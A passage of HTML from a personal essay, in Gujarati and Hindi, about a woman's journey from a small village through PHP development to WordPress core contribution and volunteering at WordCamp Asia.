src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" style="height: 1em;" /></em></p>\n\n\n\n<p>એક નાના ગામમાંથી આવું છું જ્યાં કોમ્પ્યુટરનો ઉપયોગ ખૂબ જ ઓછો થાય છે, મેં ક્યારેય કલ્પના પણ નહોતી કરી કે એક દિવસ હું વૈશ્વિક સમુદાયનો ભાગ બનીશ અને વર્ડકેમ્પ એશિયા જેવા આંતરરાષ્ટ્રીય કાર્યક્રમમાં હાજરી આપીશ. <img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" /></p>\n\n\n\n<p>મારો માર્ગ પરંપરાગત નહોતો. હું ટેકનિકલ બેકગ્રાઉન્ડમાંથી આવી ન હતી, કે મારી પાસે સ્પષ્ટ રોડમેપ નહોતો. પરંતુ મારી પાસે જે હતું તે જિજ્ઞાસા, નિશ્ચય અને શીખવાની ઇચ્છા હતી. <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>સમય જતાં, આ જિજ્ઞાસા ધીમે ધીમે કૌશલ્ય બની, કૌશલ્ય કારકિર્દી બની, અને કારકિર્દી મને વર્ડપ્રેસ સમુદાય સાથે જોડતી ગઈ <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>આ વાર્તા છે કે કેવી રીતે વર્ડપ્રેસ મારા સંતોષ અને આનંદનો સ્ત્રોત બન્યો. <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🎓" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f393.png" style="height: 1em;" /> પ્રારંભિક જીવન અને શિક્ષણ</strong></h2>\n\n\n\n<p>હું એક નાના ગામડામાંથી આવું છું, જ્યાં ટેકનોલોજીમાં તકો મર્યાદિત હતી. ઉચ્ચ શિક્ષણ માટે, હું રાજકોટ શહેરમાં રહેવા ગઈ.<img alt="🏙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3d9.png" style="height: 1em;" /></p>\n\n\n\n<p>ઘણા વિદ્યાર્થીઓની જેમ, મેં પણ પરંપરાગત શૈક્ષણિક માર્ગ અપનાવ્યો અને રસાયણશાસ્ત્રમાં વિજ્ઞાનની સ્નાતક ડિગ્રી પૂર્ણ કરી.</p>\n\n\n\n<p><br />જોકે, મારી ડિગ્રી પૂર્ણ કર્યા પછી, મને મારા ભવિષ્ય વિશે અનિશ્ચિતતા અનુભવાઈ. <img alt="😕" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f615.png" style="height: 1em;" /> રસાયણશાસ્ત્ર મારો વિષય હતો, પણ તે મારો શોખ નહોતો.</p>\n\n\n\n<p>ત્યારે જ મેં કોમ્પ્યુટર શીખવાનું નક્કી કર્યું <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" />.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /> કમ્પ્યુટર સફરની શરૂઆત</strong></h2>\n\n\n\n<p>૨૦૦૯ માં, મેં કમ્પ્યુટર એન્જિનિયરિંગના કોર્ષમાં પ્રવેશ મેળવ્યો. મારા માટે બધું જ નવું હતું &#8211; પ્રોગ્રામિંગ, લોજિક અને ટેકનિકલ ખ્યાલો.</p>\n\n\n\n<p>તે સરળ નહોતું, ખાસ કરીને નોન-ટેકનિકલ પૃષ્ઠભૂમિમાંથી. પરંતુ હું શીખવા માટે મક્કમ હતી. <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>હું ૩ મહિનાના તાલીમ કાર્યક્રમમાં જોડાઈ  પણ માત્ર ૧.૫ મહિનામાં  જ પૂર્ણ કરી લીધું. તે સમયે, મારી પાસે એક વિકલ્પ હતો:</p>\n\n\n\n<p>રાહ જોવી… કે રિસ્ક લેવુ?</p>\n\n\n\n<p>મેં રિસ્ક લેવાનું પસંદ કર્યું. <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં નોકરી માટે અરજી કરી &#8211; અને મારી PHP વેબ ડેવલપર તરીકે પસંદગી થઈ. <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>તે ક્ષણે મારું જીવન બદલી નાખ્યું.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /> PHP માં કારકિર્દી બનાવવી</strong></h2>\n\n\n\n<p>આગામી પાંચ વર્ષ સુધી, મેં કોર PHP ડેવલપર તરીકે કામ કર્યું.</p>\n\n\n\n<p>પછી એક દિવસ, બધું બદલાઈ ગયું.</p>\n\n\n\n<p>એક દિવસ મારા બોસે કહ્યું:<br />“વર્ડપ્રેસ સાઈટ માં પોસ્ટ સાઇડબારમાં કન્ટેન્ટ ઉમેરો.”</p>\n\n\n\n<p>હું ચોંકી ગઈ. <img alt="😳" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f633.png" style="height: 1em;" /></p>\n\n\n\n<p>મને વર્ડપ્રેસ આવડતું નહોતું.</p>\n\n\n\n<p>પણ મેં હાર ના માની.</p>\n\n\n\n<p>સર્ચ કર્યું, શીખ્યું, અને કામ પૂર્ણ કર્યું <img alt="🔍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" style="height: 1em;" /></p>\n\n\n\n<p>એ એક કામે મારી દિશા બદલી દીધી.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /> વર્ડપ્રેસની શોધ</strong></h2>\n\n\n\n<p>વર્ડપ્રેસ શીખતા શીખતા સમજાયું કે આ ખૂબ પાવરફુલ પ્લેટફોર્મ છે.</p>\n\n\n\n<p>ઓછા કોડ સાથે, આપણે ઝડપી, વધુ સારી અને સ્માર્ટ વેબસાઇટ બનાવી શકીએ છીએ. <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" /></p>\n\n\n\n<p>૨૦૧૫ માં, મેં વર્ડપ્રેસ પર સંપૂર્ણ ધ્યાન કેન્દ્રિત કરવાનું નક્કી કર્યું. અને તે નિર્ણયથી મારું જીવન બદલાઈ ગયું.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /> સ્વતંત્રતાની પસંદગી</strong></h2>\n\n\n\n<p>૨૦૧૮ માં, મેં બીજું એક મોટું પગલું ભર્યું &#8211; મેં મારી નોકરી છોડી દીધી.</p>\n\n\n\n<p> મેં વર્ડપ્રેસ ડેવલપર તરીકે રિમોટલી કામ કરવાનું શરૂ કર્યું. <img alt="💼" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bc.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /> </p>\n\n\n\n<p>તે જોખમી હતું… પણ તેનાથી મને સ્વતંત્રતા મળી. <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>વૈશ્વિક સ્તરે કામ કરવાની સ્વતંત્રતા. </p>\n\n\n\n<p>વિકાસ કરવાની સ્વતંત્રતા. </p>\n\n\n\n<p>મોટા સ્વપ્ન જોવાની સ્વતંત્રતા.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> Contributor બનવું</strong></h2>\n\n\n\n<p>મેં વર્ડપ્રેસ રિપોઝીટરીમાં બે પ્લગઇન્સ બનાવ્યા:<br /><img alt="🔌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" style="height: 1em;" /> Contact Information Widget<br /><img alt="🔌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" style="height: 1em;" /> Shital Quiz Cloner for LearnDash</p>\n\n\n\n<p>મારા plugins નો ઉપયોગ લોકો કરે છે — એ જોવું ખૂબ સંતોષકારક હતું. <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં Core, Meta, Polyglots માં યોગદાન આપવાનું શરૂ કર્યું.</p>\n\n\n\n<p>હું વર્ડપ્રેસ Core અને Meta Contributor બની. <img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં અનેક વર્ડપ્રેસ પ્રકાશનોમાં યોગદાન આપ્યું. <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></p>\n\n\n\n<p>જેમાં શામેલ છે:</p>\n\n\n\n<p>4.9 “Tipton”, 4.9.5 સુરક્ષા અને જાળવણી પ્રકાશન, 5.0 “Bebo”, 5.1 “Betty”, 5.2 “Jaco”, 5.3 “Kirk”, 5.4 “Adderley”, 5.5 “Eckstine”, 5.6 “Simone”, 5.7 “Esperanza”, 5.8 “Tatum”, 5.9 “Josephine”, 6.0 “Arturo”, અને 6.6 “Dorsey” <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" />.</p>\n\n\n\n<p>વર્ડપ્રેસ 5.6 રિલીઝ પ્લાનિંગ માટે મહિલા સ્ક્વોડનો ભાગ બનવાનું મને પણ સન્માન મળ્યું. <img alt="😍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60d.png" style="height: 1em;" /><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /><img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /><img alt="👍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f44d.png" style="height: 1em;" /><img alt="👩‍💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f469-200d-1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<p>ડિઝાઇન, ટેક અને લીડમાં મારું નામ &#8220;શીતલ મારકણા&#8221; જોવું એ એક અવિસ્મરણીય ક્ષણ હતી.<img alt="💖" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f496.png" style="height: 1em;" /></p>\n\n\n\n<p>અને મને <strong>વર્ડપ્રેસ 5.6 રિલીઝ પ્લાનિંગ માટે મહિલા સ્ક્વોડ</strong>માં પસંદ થવાનો ગર્વ મળ્યો. <img alt="😍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60d.png" style="height: 1em;" /><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /><img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /><img alt="👩‍💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f469-200d-1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🎤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a4.png" style="height: 1em;" /> ભારતમાં વર્ડકેમ્પના અનુભવો</strong></h2>\n\n\n\n<p>મુંબઈમાં મારો પહેલો વર્ડકેમ્પ એક અદ્ભુત અનુભવ હતો. <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>મને સમજાયું —<br />વર્ડપ્રેસ ફક્ત કોડ નથી…<br />એ કોમ્યુનિટી છે. <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં મુંબઈ, નાગપુર અને અમદાવાદના વર્ડકેમ્પમાં હાજરી આપી.</p>\n\n\n\n<p>દરેકે મને વિકાસ કરવામાં મદદ કરી.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="✈" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2708.png" style="height: 1em;" /> વર્ડકેમ્પ એશિયાનું સપનું</strong></h2>\n\n\n\n<p>વર્ડકેમ્પ એશિયા મારું સ્વપ્ન હતું <img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" />.</p>\n\n\n\n<p>પરંતુ આર્થિક રીતે, તે મુશ્કેલ હતું.</p>\n\n\n\n<p>તેથી મેં લાઇવ સ્ટ્રીમ્સ જોઈ <img alt="📺" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4fa.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં ઓનલાઈન શીખ્યું <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<p>પ્રેરણા જાળવી રાખી <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>અને મેં રાહ જોઈ&#8230;</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌟" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" style="height: 1em;" /> સપનાનું સાકાર થવું</strong></h2>\n\n\n\n<p>આખરે સપનું પૂરું થયું <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>મને વર્ડકેમ્પ એશિયામાં volunteer તરીકે પસંદ કરવામાં આવી.<img alt="🙌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f64c.png" style="height: 1em;" /></p>\n\n\n\n<p>અને મને ઝીલ ઠક્કર શિષ્યવૃત્તિ પણ મળી. <img alt="🏆" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c6.png" style="height: 1em;" /><br /></p>\n\n\n\n<p>સૌથી ખાસ વાત?</p>\n\n\n\n<p>મેં મારા પરિવાર સાથે હાજરી આપી. <img alt="👨‍👩‍👦" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f468-200d-1f469-200d-1f466.png" style="height: 1em;" /><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>મારા પતિએ મને સાથ આપ્યો.</p>\n\n\n\n<p>મારા 4 વર્ષના પુત્ર, મંત્રએ દરેક ક્ષણનો આનંદ માણ્યો. <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<p><br />આ ફક્ત મારી સફર નહોતી &#8211; તે અમારી સફર બની ગઈ.</p>\n\n\n\n<figure class="wp-block-image size-large"><a href="https://heropress.com/wp-content/uploads/3026/04/73052.jpg"><img alt="All WCAsia attendees in the auditorium" class="wp-image-8599" height="536" src="https://heropress.com/wp-content/uploads/3026/04/73052-1024x536.jpg" width="1024" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> વર્ડકેમ્પ એશિયામાં Volunteer</strong></h2>\n\n\n\n<p>Volunteer મારા જીવનના સૌથી અર્થપૂર્ણ અનુભવોમાંનો એક હતો.<img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" /></p>\n\n\n\n<p>મેં વિશ્વભરના લોકો સાથે કામ કર્યું. </p>\n\n\n\n<p>અંતે, મને મારું volunteer પ્રમાણપત્ર મળ્યું. <img alt="📜" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" style="height: 1em;" /></p>\n\n\n\n<p>એ ફક્ત પ્રમાણપત્ર નહોતું — એ મારી સફરની ઓળખ હતી.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="💡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" style="height: 1em;" /> વર્ડકેમ્પ એશિયાએ મને શું આપ્યું?</strong></h2>\n\n\n\n<p>શું તેણે મને નાણાકીય સ્વતંત્રતા આપી?<br />તરત નહીં.</p>\n\n\n\n<p>શું તેણે મને community આપી? </p>\n\n\n\n<p>હા. <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>શું તેણે મને વૈશ્વિક સ્તરે એક્સપોઝર આપ્યો?</p>\n\n\n\n<p>ચોક્કસ. <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>પણ સૌથી મહત્વનું—</p>\n\n\n\n<p><strong>દિશા આપી.</strong></p>\n\n\n\n<figure class="wp-block-image size-full"><a href="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp"><img alt="WCAsia group photo" class="wp-image-8582" height="600" src="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp" width="900" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /> નિષ્કર્ષ</strong></h2>\n\n\n\n<p>જ્યારે હું મારી સફર પર પાછળ ફરીને જોઉં છું, ત્યારે તે હિંમત, વિશ્વાસ અને વિકાસની વાર્તા જેવું લાગે છે. <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>વર્ડપ્રેસ એક જિજ્ઞાસાથી શરૂ થયું…</p>\n\n\n\n<p>પણ એ મારી ઓળખ બની ગયું.</p>\n\n\n\n<p>નાના ગામથી વૈશ્વિક મંચ સુધી, <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>આ સફરે મને બદલાવી દીધી.</p>\n\n\n\n<p>શંકા હતી.</p>\n\n\n\n<p>ડર હતો.</p>\n\n\n\n<p>પણ હું અટકી નહીં <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>વર્ડકેમ્પ એશિયા મારા જીવનનો turning point બન્યો.</p>\n\n\n\n<p>તેણે મને ફક્ત પરિણામો જ આપ્યા નહીં— </p>\n\n\n\n<p>તેણે મને દિશા આપી.</p>\n\n\n\n<p>તે માત્ર સફળતા નથી આપી—</p>\n\n\n\n<p>તે સંભાવના આપી.</p>\n\n\n\n<p>તેણે ફક્ત મારા વર્તમાનને જ બદલ્યો નહીં— </p>\n\n\n\n<p>તેણે મારા ભવિષ્યને આકાર આપ્યો.</p>\n\n\n\n<p>વર્ડપ્રેસે મને આત્મવિશ્વાસ આપ્યો. તેણે મને અવાજ આપ્યો. તેણે મને એક community આપી.<img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>અને આજે હું જાણું છું—<strong>આ ફક્ત હું શું કરું છું એ નથી—આ હું કોણ બની ગઈ છું, અને આગળ શું બની રહી છું તેની સફર છે.</strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<h1 class="wp-block-heading" id="hindi"><strong><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /> एक छोटे से गांव से WordCamp Asia तक: मेरी WordPress यात्रा  <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></strong></h1>\n\n\n\n<figure class="wp-block-audio"><audio controls="controls" src="https://heropress.com/wp-content/uploads/3026/04/hindi_essay.mp3"></audio><figcaption class="wp-element-caption">शीतल को अपना निबंध अपनी ही आवाज़ में पढ़ते हुए सुनें!</figcaption></figure>\n\n\n\n<h3 class="wp-block-heading"><strong><em>जिज्ञासा से योगदान तक — कैसे WordPress ने मुझे करियर, आत्मविश्वास और वैश्विक अवसर दिए</em></strong><strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></strong></h3>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌱" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f331.png" style="height: 1em;" /> परिचय</strong></h2>\n\n\n\n<p>हर सफ़र एक छोटे कदम से शुरू होता है, जो अक्सर क्लैरिटी के बजाय क्यूरिऑसिटी से इंस्पायर्ड होता है। मेरा टेक्नोलॉजी के साथ सफ़र भी ऐसा ही था — कोई प्लान नहीं था, बस एक सवाल था: मुझे क्या सीखना चाहिए? <em> <img alt="🤔" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" style="height: 1em;" /></em></p>\n\n\n\n<p>एक छोटे से गाँव से आने के कारण जहाँ कंप्यूटर का इस्तेमाल बहुत कम होता था, मैंने कभी नहीं सोचा था कि एक दिन मैं एक ग्लोबल कम्युनिटी का हिस्सा बनूंगी और WordCamp Asia जैसे इंटरनेशनल इवेंट में शामिल होऊंगी।<img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" /></p>\n\n\n\n<p>मेरा रास्ता ट्रेडिशनल नहीं था। मैं किसी टेक्निकल बैकग्राउंड से नहीं थी, न ही मेरे पास कोई क्लियर रोडमैप था। लेकिन मेरे पास जो था वह थी क्यूरिऑसिटी, डिटरमिनेशन और सीखने की इच्छा ।<img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>समय के साथ, यह क्यूरिऑसिटी धीरे-धीरे एक स्किल में बदल गई, एक स्किल करियर में बदल गई, और एक करियर ने मुझे WordPress कम्युनिटी से जोड़ा। <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>यह कहानी है कि कैसे WordPress मेरे सैटिस्फैक्शन और खुशी का सोर्स बन गया । <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🎓" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f393.png" style="height: 1em;" /> प्रारंभिक जीवन और शिक्षा</strong></h2>\n\n\n\n<p>मैं एक छोटे से गांव से हूं, जहां टेक्नोलॉजी में मौके कम थे। हायर एजुकेशन के लिए मैं राजकोट शहर चली गई।<img alt="🏙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3d9.png" style="height: 1em;" /></p>\n\n\n\n<p>कई स्टूडेंट्स की तरह, मैंने भी ट्रेडिशनल एकेडमिक रास्ता अपनाया और केमिस्ट्री में बैचलर ऑफ़ साइंस की डिग्री पूरी की।</p>\n\n\n\n<p><br />लेकिन, अपनी डिग्री पूरी करने के बाद, मुझे अपने भविष्य को लेकर पक्का नहीं लग रहा था। <img alt="😕" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f615.png" style="height: 1em;" /> केमिस्ट्री मेरा सब्जेक्ट था, लेकिन यह मेरा पैशन नहीं था।</p>\n\n\n\n<p>तभी मैंने कंप्यूटर सीखने का फैसला किया।<img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /> कंप्यूटर यात्रा की शुरुआत</strong></h2>\n\n\n\n<p>2009 में, मैंने कंप्यूटर इंजीनियरिंग कोर्स में एडमिशन लिया। मेरे लिए सब कुछ नया था &#8211; प्रोग्रामिंग, लॉजिक और टेक्निकल कॉन्सेप्ट।</p>\n\n\n\n<p>यह आसान नहीं था, खासकर नॉन-टेक्निकल बैकग्राउंड से होने के कारण। लेकिन मैंने सीखने का पक्का इरादा कर लिया था। <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने 3 महीने का ट्रेनिंग प्रोग्राम जॉइन किया लेकिन उसे सिर्फ़ 1.5 महीने में पूरा कर लिया। उस समय, मेरे पास एक चॉइस थी:</p>\n\n\n\n<p>इंतज़ार करें&#8230; या रिस्क लें?</p>\n\n\n\n<p>मैंने रिस्क लेने का फैसला किया। <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने नौकरी के लिए अप्लाई किया &#8211; और मैं PHP वेब डेवलपर के तौर पर चुन ली गई। <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>उस पल ने मेरी ज़िंदगी बदल दी।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /> PHP में करियर बनाना</strong></h2>\n\n\n\n<p>अगले पांच सालों तक मैंने कोर PHP डेवलपर के तौर पर काम किया।</p>\n\n\n\n<p>फिर एक दिन सब कुछ बदल गया।</p>\n\n\n\n<p>एक दिन मेरे बॉस ने कहा:<br />“WordPress साइट में पोस्ट साइडबार में कंटेंट डालदो।”</p>\n\n\n\n<p>मैं चौंक गई। <img alt="😳" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f633.png" style="height: 1em;" /></p>\n\n\n\n<p>मैं वर्डप्रेस नहीं जानती थी।</p>\n\n\n\n<p>लेकिन मैंने हार नहीं मानी।</p>\n\n\n\n<p>खोजा, सीखा और काम पूरा किया। <img alt="🔍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" style="height: 1em;" /></p>\n\n\n\n<p>उस एक चीज़ ने मेरी दिशा बदल दी।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /> वर्डप्रेस खोज</strong></h2>\n\n\n\n<p>वर्डप्रेस सीखते समय 